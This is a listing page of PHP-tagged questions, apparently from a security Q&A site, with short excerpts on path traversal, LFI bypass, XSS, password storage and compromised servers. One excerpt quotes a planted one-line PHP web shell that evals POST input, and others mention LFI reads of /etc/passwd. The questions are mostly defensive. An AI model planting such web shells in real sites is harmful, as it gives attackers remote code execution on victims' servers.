Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
0 votes
0 answers
22 views

Path Traversal with rawurldecode and dots validation

I'm trying to check if it's possible to bypass a two dots verification to perform a Path Traversal, downloading files out of the allowed folder. The problem is that it uses rawurldecode when ...
  • 121
0 votes
1 answer
63 views

PHP - How to block files access in specific directory from the external

I made a very simple dashboard with HTML/PHP/JS (and a MySQL database) where some users (after a secure login with username and password) can access and insert some activities with details and attach ...
0 votes
2 answers
168 views

What's so bad about including "backdoors" to a Website?

I have a fundamental question about the harm of leaving a backdoor in one of my public websites / plattforms. I do not want to discuss the details why I wanted to do that, I just want to understand ...
  • 851
0 votes
1 answer
51 views

Running PHP commands on my website from a form input

I today found some files created and deleted and edited on my website. I don't know how it is done. But I know it can be done by some PHP Functions like : mkdir('Folder'); file_put_contents();scandir()...
0 votes
0 answers
27 views

SSH to a public account which is forced to run a PHP script. What additional security measures do I need to take?

I have an Ubuntu server with a user "demo". The user has been setup to run a php script on login with usermod demo -s /path/to/php/script.php. The password for the demo account will be ...
1 vote
1 answer
206 views

PHP, is addslashes() in eval() really that unsafe?

A friend challenged me in a programming question: You have a list of paths, make the paths a multidimensional associative array of paths. Sample input: $paths = [ "a/a/a", "a/a/...
0 votes
0 answers
127 views

Best practices for storing passwords for PHP and MySQL applications [duplicate]

I am creating a simplified lead and call management system for a friend's small business. I would like to know the best practices for hardening password storage and verification using PHP 7.4 and ...
0 votes
1 answer
146 views

How do I prevent this PHP/Apache exploit?

I'm running: Ubuntu 20.02 Apache/2.4.41 PHP 7.4.3 I am running a simple web server that will accept file uploads, store them and catalog them in a database. When I check /var/log/apache2/error.log, ...
0 votes
2 answers
74 views

nonce generation based on php session id

On an small audience highly confident web application we are about use CSP to add a level of security. Most parts of the application could be moved to script files and script-src set to 'self' would ...
  • 149
0 votes
1 answer
191 views

What can I do with a Pdf upload vulnerability on a CTF server?

A web server running iis 10 ,PHP (windows) allows users to upload any type of pdf (the location and filename does not change on the server ). The files uploaded go though some file extension check ...
  • 1
0 votes
1 answer
64 views

Is this really a way to filter LFI?

I'm not sure if this is a valid way how to filter LFI, because if you bypass in_array function you can include any file, for example /etc/passwd. Is it possible to bypass in_array function? <?php $...
4 votes
0 answers
47 views

Best practice for storing security tokens in source code [duplicate]

I have a PHP system and I need to store some tokens for operations like: Database username and password API token Keys for encryption It turns out that for a long time only I manage the source code, ...
  • 163
0 votes
1 answer
565 views

PHP 7.4.3 preg_match bypass

I want to filter user input like this: $data = file_get_contents('php://input'); if ($data != null && $data !=='') { $parsedData = json_decode($data, true); } // find quickmodule name $...
1 vote
1 answer
101 views

Do we know a MD5 collision exploiting PHP loose type comparision (0123e2 == 123e02 == 012300)?

Since PHP has loose type comparison, we have: php -r 'var_dump("1234e03"=="1234000");' bool(true) And since MD5 hashs are often reprensented as hexa string like ...
  • 1,331
0 votes
0 answers
54 views

Headers X-XSS-Protection issue

I want to clear my doubt that Is there any issues coming from adding 'Strict-Transport-Security' and 'X-XSS-Protection' headers ? Header set Strict-Transport-Security "max-age=10886400; Header ...
0 votes
1 answer
198 views

unknown (malicious?) code and file in public dir (Laravel 5.8, apache/cPanel) [duplicate]

I have a Laravel 5.8 app in a server running Apache/2.4.53 (cPanel) and PHP 7.4 (ea-php74) and i have VPS root WHM/cPanel access there. as any Laravel project, the "public" directory is web ...
2 votes
1 answer
71 views

Is PHP json_encode sufficient for HTML data blocks?

I want to access data in a PHP variable from JavaScript code. An (old) OWASP cheat sheet recommends embedding it in HTML before accessing it, an approach like this: <div id="init_data" ...
2 votes
1 answer
62 views

use md5 hashed guid as app login and REST interface

We are planning to use a md5 hash of a user guid to confirm access to a GET, POST, PUSH, DELETE rest - api. All communication is over a secured https channel. The REST api is programmed to resist XSS ...
  • 149
-1 votes
1 answer
58 views

2 Way SSL for Magento API

Checked many blogs for 2 way ssl(Mutual Authentication) for magento api's or PHP but did not get end to end implementation details. Below is my understanding. Lets consider client (sslclient.com) and ...
0 votes
1 answer
68 views

Ruby on Rails: Request to http://\localhost/admin/config.php

I got an exception notification for a request from 92.118.39.180:61001 to: http://\localhost/admin/config.php This is the notification: ------------------------------- Request: ------------------------...
  • 103
0 votes
1 answer
49 views

Prevent reading PHP files

For better security(or for better hacker-life-difficulty) i do not trust even on my php files and my question is : <?php //how to deny any reading of .PHP files from standard PHP functions like ...
0 votes
0 answers
65 views

How to perform php post request attack with javascript sanitization?

The following code demonstrates the source code of this challenge and basically, I need to send a post request with arbitrary code to execute on the server. However, after multiple attempts Im unable ...
1 vote
1 answer
235 views

How to track which php file executed a malware binary

I have a server that seems to be compromised checking the processes running I see an executable that seems to be a mining malware and the hacker uses it to mine litecoin at the address ...
1 vote
0 answers
285 views

What's the best way to handle authentication across multiple different domains under the same service?

For a social networking site example.com, users all have their own domains. How can you keep someone seamlessly authenticated across all domains? For the main site, example.com, I am currently using: &...
  • 11
0 votes
0 answers
35 views

How does "./" affects signature generation for files, in a PHP based web application?

I am solving a lab related to serialization vulnerabilities. It deals with retrieving files based on the signature. The theory of the lab states as quoted, "Adding ./ will still give you the same ...
0 votes
1 answer
111 views

Can POST request be changed in a HTTPS website?

I am trying to develop a website where I grab data using javascript and send it to PHP using ajax post. However, while researching, I found that the POST request can be modified using third-parties ...
0 votes
0 answers
145 views

How to prevent a timing attack when I do/don't perform password_verify (depending if the user exists)?

Here is the code which potentially can allow a timing attack $user = getUserFromDatabase($input_username); if ($user === false) { // potential timing attack // user not exist ...
  • 11
0 votes
1 answer
103 views

Is it necessary to use cryptographically-secure randomness in order to create URLs for user activation?

Usually once you register in a website you need to visit a url like: https://example.com/user_activate/^random_string^ Does the ^random_string^ necessarily need to be cryptographically pseudorandom ...
0 votes
1 answer
200 views

Why not use a long life session ID for auto-login instead of a persistent cookie with a token?

On the PHP website it is stated that "Developers must not use long life session IDs for auto-login because it increases the risk of stolen sessions.". Instead it is recommended to use a ...
  • 1
0 votes
1 answer
267 views

Securely transfer a file to a server via PHP

I'm trying to extract a specific dataset via a daily cronjob written in PHP (by extracting the data from a MariaDB DB), and transfer it onto another server D which is externally available to a client. ...
  • 115
0 votes
1 answer
105 views

Would it be useful from a security perspective to harden an interpreter like Python or NodeJS by removing support for unused features?

When hardening a system you want to remove any features that you do not need. I have been thinking about this concept from the perspective of interpreters like Python, NodeJS, PHP etc. and am ...
  • 3
0 votes
1 answer
75 views

Getting Smaller Output From Public Key Cryptography In PHP

I have a website in a shared hosting environment, and I'm also planning to back up in multiple locations. All of that introduces vulnerability where the data could get intercepted, stolen, or misused ...
  • 743
0 votes
1 answer
255 views

What's The Best PHP Encryption For Email Addresses?

I'm storing a list of email addresses and other not personally identifiable information for a mailing list in a database. Since it's for a project related to cryptocurrency, I believe that the ...
  • 743
0 votes
1 answer
232 views

How to secure Laravel website against the ongoing massive exploitation

My website built upon Laravel is currently under attack. Only the index.php file was changed, and by that I mean that every line of code is inserted above the original Laravel code. So this code ...
1 vote
1 answer
124 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
  • 111
0 votes
0 answers
119 views

How common is Apache webserver Filesmatch configuration ".+\.ph(p([3457s]|\-s)?|t|tml)"

The OWASP website has a page about Insecure File Uploads which talks about an insecure Apache filesmatch directive: <FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)"> SetHandler ...
  • 560
0 votes
1 answer
148 views

Is the authentication system of this website secure enough?

Since I write an API for a website, I'm interested in his login system and his requests but something bothered me, I have the impression that the security system is weak... When I login, I send POST ...
's user avatar
2 votes
1 answer
280 views

XSS inside of a javascript string, with unusual filter

While making a website I made an interesting mistake, and I'm wondering if this could be used to achieve XSS. I've come very close, but not quite. I can put my user input into a string inside of a <...
  • 123
0 votes
2 answers
169 views

Should including an external webpage in PHP be dangerous in principle?

<?php include("https://example.com"); ?> I came across the opinion that including webpages in such pattern can be dangerous; further more, in XAMPP for windows php.ini there is ...
  • 3
0 votes
1 answer
189 views

Sending Post Requests Server to Server

I am creating a web application that is sending sensitive data between servers. I need to take user inputted web form data from website 1 (abc.com) and post the data to website 2 (xyz.com/api). ...
2 votes
0 answers
66 views

What does this potentially malicious php code do? [duplicate]

Somebody hacked my webserver and uploaded many of the following files with random names in different subdirectories of my webroot. The file looks something like this and - even though I managed to ...
0 votes
0 answers
83 views

Does adding a csv file to a wordpress plugin introduce security risks to the site?

I am currently working on an implementation reading data from a csv file from within a WordPress plugin. It was suggested the file be added within the plugin in an assets directory. I have concerns in ...
-1 votes
1 answer
101 views

Source of strange sessions

I stumbled upon some strange entries in our PHP sessions, they look like this: PHPREDIS_SESSION:${9923XXXXX+99XXXXXX} (<- I have changed some digits to 'X') PHPREDIS_SESSION:http://hitbXXXXXXXXXXX....
  • 99
1 vote
1 answer
447 views

Am I handling JWT token correctly?

The app is divided into two parts, the fronted - written with the Angular framework and the backend, simple PHP files which handle the login, API calls, etc. My current flow is the following: User ...
0 votes
1 answer
131 views

MongoDB NoSQLi in Cockpit CMS - use of $func?

Please explain how this recent Cockpit CMS exploit works, specifically using the $func operator of the MongoLite library, in more detail. How does it exactly make the PHP code behave? As I understand ...
1 vote
1 answer
264 views

Is MariaDB Server obsolete for PHP and Wordpress projects?

PHP (and by extension WordPress) only supports MySQL native & sha256 password authentication. MariaDB Server only supports MySQL native & ed25519 password authentication. Since MySQL native ...
0 votes
1 answer
299 views

Attempting remote code execution, why does this php webshell code fail with single quotes?

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit: https://www.exploit-db.com/exploits/24044 I tried to use this code to make a ...
2 votes
2 answers
237 views

About vulnerability in the dependency

I have read many articles about the vulnerability in the program dependency, either direct or transitive. Here are two questions come out of my mind. If a dependency A has a vulnerability (Maybe has ...
  • 143
1 vote
1 answer
430 views

Allow access to folder only from specific IP Address (or domain) and Port using .htaccess

I am trying to secure access to a PHP page in a folder and only allow access to it from a specific IP Address and domain name but only on a specific port. I have seen a number of questions here but ...
  • 111
16 votes
5 answers
5k views

How can an attacker identify if a website is using PHP? How about the PHP version?

I have a vulnerable test site up that runs PHP. How can an attacker identify that PHP is used? if I type .../add.php the site gives back an error message, although the file is add.php. If I type .../...

1
2 3 4 5
32